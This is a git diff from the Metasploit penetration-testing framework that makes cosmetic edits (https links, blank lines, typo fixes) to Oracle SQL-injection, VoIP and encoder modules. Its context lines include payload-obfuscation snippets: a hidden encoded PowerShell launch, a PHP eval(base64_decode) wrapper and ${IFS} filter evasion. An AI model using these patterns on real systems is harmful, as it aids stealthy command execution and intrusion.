       'Name'           => 'Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION',
       'Description'    => %q{
-        This module will escalate a Oracle DB user to DBA by exploiting an
+        This module will escalate an Oracle DB user to DBA by exploiting a
         sql injection bug in the DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package.
 
         Note: This module has been tested against 9i, 10gR1 and 10gR2.
@@ -111,5 +110,4 @@ end;
 
     # Probably should do a 'drop package #{name}'
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb
index 2c1ba45ab5..68b4d03eaa 100644
--- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML',
       'Description'    => %q{
-        This module will escalate a Oracle DB user to DBA by exploiting an sql injection
+        This module will escalate an Oracle DB user to DBA by exploiting a sql injection
         bug in the SYS.DBMS_METADATA.GET_GRANTED_XML package/function.
       },
       'Author'         => [ 'MC' ],
diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb
index e18a5323b8..f1bd69bee4 100644
--- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML',
       'Description'    => %q{
-        This module will escalate a Oracle DB user to DBA by exploiting an sql injection
+        This module will escalate an Oracle DB user to DBA by exploiting a sql injection
         bug in the SYS.DBMS_METADATA.GET_XML package/function.
       },
       'Author'         => [ 'MC' ],
diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb
index 3bae746f7c..594bf9fce0 100644
--- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -61,5 +60,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb
index 9ec91b61eb..54b8b8f357 100644
--- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb
+++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::FILEFORMAT
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger',
       'Description'    => %q{
-          This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
+          This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in
           the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
           given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
       },
@@ -110,5 +109,4 @@ class MetasploitModule < Msf::Auxiliary
 
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb
index 7130b51dd8..ee94772697 100644
--- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb
+++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -62,5 +61,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Error: #{e.class} #{e}")
     end
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb
index 5a9e715264..3928ef9ffe 100644
--- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb
+++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -51,5 +50,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Error: #{e.class} #{e}")
     end
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb
index 28d694bc0c..6aa422d515 100644
--- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb
+++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb
index 7ef34fcca7..1e00a3cacb 100644
--- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb
+++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb
@@ -1,18 +1,17 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method',
       'Description'    => %q{
-          This module will escalate a Oracle DB user to DBA by exploiting
-          an sql injection bug in the SYS.LT.FINDRICSET package via Evil
+          This module will escalate an Oracle DB user to DBA by exploiting
+          a sql injection bug in the SYS.LT.FINDRICSET package via Evil
           Cursor technique. Tested on oracle 10.1.0.3.0 -- should work on
           thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical
           Patch update October 2007.
@@ -56,5 +55,4 @@ EOF
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb
index b598c8df97..3b83207162 100644
--- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb
+++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE',
       'Description'    => %q{
-        This module exploits an sql injection flaw in the MERGEWORKSPACE
+        This module exploits a sql injection flaw in the MERGEWORKSPACE
         procedure of the PL/SQL package SYS.LT. Any user with execute
         privilege on the vulnerable package can exploit this vulnerability.
       },
@@ -98,5 +97,4 @@ class MetasploitModule < Msf::Auxiliary
     prepare_exec(clean)
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb
index ad4a0d1ebf..1cb05aac04 100644
--- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb
+++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',
       'Description'    => %q{
-        This module exploits an sql injection flaw in the REMOVEWORKSPACE
+        This module exploits a sql injection flaw in the REMOVEWORKSPACE
         procedure of the PL/SQL package SYS.LT. Any user with execute
         privilege on the vulnerable package can exploit this vulnerability.
       },
@@ -95,5 +94,4 @@ class MetasploitModule < Msf::Auxiliary
     prepare_exec(clean)
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
index 185d9ffdbe..4d1f238c7e 100644
--- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
+++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',
       'Description'    => %q{
-        This module exploits an sql injection flaw in the ROLLBACKWORKSPACE
+        This module exploits a sql injection flaw in the ROLLBACKWORKSPACE
         procedure of the PL/SQL package SYS.LT. Any user with execute
         privilege on the vulnerable package can exploit this vulnerability.
       },
diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb
index 92f673525e..6c40c1046d 100644
--- a/modules/auxiliary/voip/asterisk_login.rb
+++ b/modules/auxiliary/voip/asterisk_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
index 108199a9fc..a27595b59c 100644
--- a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
+++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -139,9 +138,8 @@ class MetasploitModule < Msf::Auxiliary
       if res && res.body && res.body && res.body.to_s =~ /CFA/
         print_good("Call forwarded successfully for #{fintnumber}")
       else
-        print_status("Call forward failed.")
+        print_error("Call forward failed")
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
index 18966f5adc..90b9ba751c 100644
--- a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
+++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
         The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
         (CDM), before version 10, doesn't implement access control properly, which allows remote
         attackers to modify user information. This module exploits the vulnerability to make
-        unauthorized speeddial entity manipulations.
+        unauthorized speed dial entity manipulations.
       },
       'Author'        => 'fozavci',
       'References'    =>
diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb
index a5016985a0..c5b2dc6fb2 100644
--- a/modules/auxiliary/voip/sip_deregister.rb
+++ b/modules/auxiliary/voip/sip_deregister.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Scanner
 
@@ -14,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'           => 'SIP Deregister Extension',
       'Description'   => %q{
-          This module will will attempt to deregister a SIP user from the provider. It
+          This module will attempt to deregister a SIP user from the provider. It
         has been tested successfully when the sip provider/server doesn't use REGISTER
         authentication.
       },
@@ -125,5 +122,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return true # set response to true
   end
-
 end
diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb
index dae75306a7..e42b932387 100644
--- a/modules/auxiliary/voip/sip_invite_spoof.rb
+++ b/modules/auxiliary/voip/sip_invite_spoof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/voip/telisca_ips_lock_control.rb b/modules/auxiliary/voip/telisca_ips_lock_control.rb
index b39db44ca3..a4856c70a0 100644
--- a/modules/auxiliary/voip/telisca_ips_lock_control.rb
+++ b/modules/auxiliary/voip/telisca_ips_lock_control.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb
index 5cb1078e3a..e49901ee1c 100644
--- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb
+++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb
index c737c53194..3df468e34a 100644
--- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb
+++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb
index e9215f5e3a..aff31e9e1f 100644
--- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb
+++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb
index 5f897d1d06..2dc109fc0a 100644
--- a/modules/auxiliary/vsploit/pii/email_pii.rb
+++ b/modules/auxiliary/vsploit/pii/email_pii.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb
index 9c04602730..d4552e2235 100644
--- a/modules/auxiliary/vsploit/pii/web_pii.rb
+++ b/modules/auxiliary/vsploit/pii/web_pii.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb
index f1d9928396..6ef92954aa 100644
--- a/modules/encoders/cmd/echo.rb
+++ b/modules/encoders/cmd/echo.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
-
   Rank = GoodRanking
 
   def initialize
@@ -84,5 +81,4 @@ class MetasploitModule < Msf::Encoder
 
     return buf
   end
-
 end
diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb
index b42a8c852d..9aa03eb8ed 100644
--- a/modules/encoders/cmd/generic_sh.rb
+++ b/modules/encoders/cmd/generic_sh.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
 
   # Has some issues, but overall it's pretty good
@@ -140,5 +138,4 @@ class MetasploitModule < Msf::Encoder
 
     return buf
   end
-
 end
diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb
index d0eaa37f68..2f2046ad3c 100644
--- a/modules/encoders/cmd/ifs.rb
+++ b/modules/encoders/cmd/ifs.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
 
   # Below normal ranking because this will produce incorrect code a lot of
@@ -42,5 +40,4 @@ class MetasploitModule < Msf::Encoder
     buf.gsub!(/\s/, '${IFS}')
     return buf
   end
-
 end
diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb
index d5a64d8758..83a97fd262 100644
--- a/modules/encoders/cmd/perl.rb
+++ b/modules/encoders/cmd/perl.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
-
   Rank = NormalRanking
 
   def initialize
@@ -124,5 +121,4 @@ class MetasploitModule < Msf::Encoder
     # ends up unquoted so the shell doesn't try to expand a path.
     "qq#{sep}H#{hex.length}#{sep},qq#{sep}#{hex}#{sep}"
   end
-
 end
diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb
index 7ef1ad0dda..9f15744be1 100644
--- a/modules/encoders/cmd/powershell_base64.rb
+++ b/modules/encoders/cmd/powershell_base64.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -48,5 +48,4 @@ class MetasploitModule < Msf::Encoder
     base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
     cmd = "powershell -w hidden -nop -e #{base64}"
   end
-
 end
diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb
index 58330a2cf5..8d48b0cc25 100644
--- a/modules/encoders/cmd/printf_php_mq.rb
+++ b/modules/encoders/cmd/printf_php_mq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,9 +21,9 @@ class MetasploitModule < Msf::Encoder
       'Name'             => 'printf(1) via PHP magic_quotes Utility Command Encoder',
       'Description'      => %q{
           This encoder uses the printf(1) utility to avoid restricted
-        characters. Some shell variable substituion may also be used
+        characters. Some shell variable substitution may also be used
         if needed symbols are blacklisted. Some characters are intentionally
-        left unescaped since it is assummed that PHP with magic_quotes_gpc
+        left unescaped since it is assumed that PHP with magic_quotes_gpc
         enabled will escape them during request handling.
       },
       'Author'           => 'jduck',
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Encoder
 
     return ret
   end
-
 end
diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb
index 39c8434cac..ae34445bb4 100644
--- a/modules/encoders/generic/eicar.rb
+++ b/modules/encoders/generic/eicar.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -43,5 +43,4 @@ class MetasploitModule < Msf::Encoder
   def encode_block(state, buf)
     buf = eicar_test_string
   end
-
 end
diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb
index c63ff5e4fa..4e83a0e55b 100644
--- a/modules/encoders/generic/none.rb
+++ b/modules/encoders/generic/none.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
 
   def initialize
@@ -25,5 +23,4 @@ class MetasploitModule < Msf::Encoder
   def encode_block(state, buf)
     buf
   end
-
 end
diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb
index 45fb1305c8..ce56c69af2 100644
--- a/modules/encoders/mipsbe/byte_xori.rb
+++ b/modules/encoders/mipsbe/byte_xori.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasm'
 
-
 class MetasploitModule < Msf::Encoder::Xor
-
   Rank = NormalRanking
 
   def initialize
@@ -141,5 +138,4 @@ EOS
     stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
     return stub
   end
-
 end
diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb
index 453a4b9341..6e44de0ec7 100644
--- a/modules/encoders/mipsbe/longxor.rb
+++ b/modules/encoders/mipsbe/longxor.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasm'
 
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -142,5 +140,4 @@ EOS
 
     return decoder
   end
-
 end
diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb
index 72e1581797..ad2b7b1b17 100644
--- a/modules/encoders/mipsle/byte_xori.rb
+++ b/modules/encoders/mipsle/byte_xori.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasm'
 
-
 class MetasploitModule < Msf::Encoder::Xor
-
   Rank = NormalRanking
 
   def initialize
@@ -141,5 +138,4 @@ EOS
     stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
     return stub
   end
-
 end
diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb
index 382b833c19..7f22298636 100644
--- a/modules/encoders/mipsle/longxor.rb
+++ b/modules/encoders/mipsle/longxor.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasm'
 
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -142,5 +140,4 @@ EOS
 
     return decoder
   end
-
 end
diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb
index 138ad12385..46e8a13cb2 100644
--- a/modules/encoders/php/base64.rb
+++ b/modules/encoders/php/base64.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder
   Rank = GreatRanking
 
@@ -96,5 +94,4 @@ class MetasploitModule < Msf::Encoder
 
     return "eval(base64_decode(" + b64 + "));"
   end
-
 end
diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb
index bd49274167..c78cc3f221 100644
--- a/modules/encoders/ppc/longxor.rb
+++ b/modules/encoders/ppc/longxor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -65,5 +63,4 @@ class MetasploitModule < Msf::Encoder::Xor
 
     stub
   end
-
 end
diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb
index 1c635400e4..0382d1af12 100644
--- a/modules/encoders/ppc/longxor_tag.rb
+++ b/modules/encoders/ppc/longxor_tag.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -65,5 +63,4 @@ class MetasploitModule < Msf::Encoder::Xor
   def encode_end(state)
     state.encoded += [ state.key.to_i ].pack('N')
   end
-
 end
diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb
index 06f162dd08..7b79cdbc10 100644
--- a/modules/encoders/sparc/longxor_tag.rb
+++ b/modules/encoders/sparc/longxor_tag.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
 
   def initialize
@@ -58,5 +56,4 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
       badchars
     ) ? false : true)
   end
-
 end
diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb
index e0a1e481b7..53e577937a 100644
--- a/modules/encoders/x64/xor.rb
+++ b/modules/encoders/x64/xor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -47,5 +45,4 @@ class MetasploitModule < Msf::Encoder::Xor
 
     return decoder
   end
-
 end
diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb
index 8dc394f64b..6c5230ec68 100644
--- a/modules/encoders/x64/zutto_dekiru.rb
+++ b/modules/encoders/x64/zutto_dekiru.rb
@@ -1,8 +1,12 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'metasm'
 require 'rex/nop/opty2'
 
 class MetasploitModule < Msf::Encoder::Xor
-
   Rank = ManualRanking
 
   def initialize
diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb
index 32916d1690..40628da413 100644
--- a/modules/encoders/x86/add_sub.rb
+++ b/modules/encoders/x86/add_sub.rb
@@ -1,10 +1,9 @@
 ##
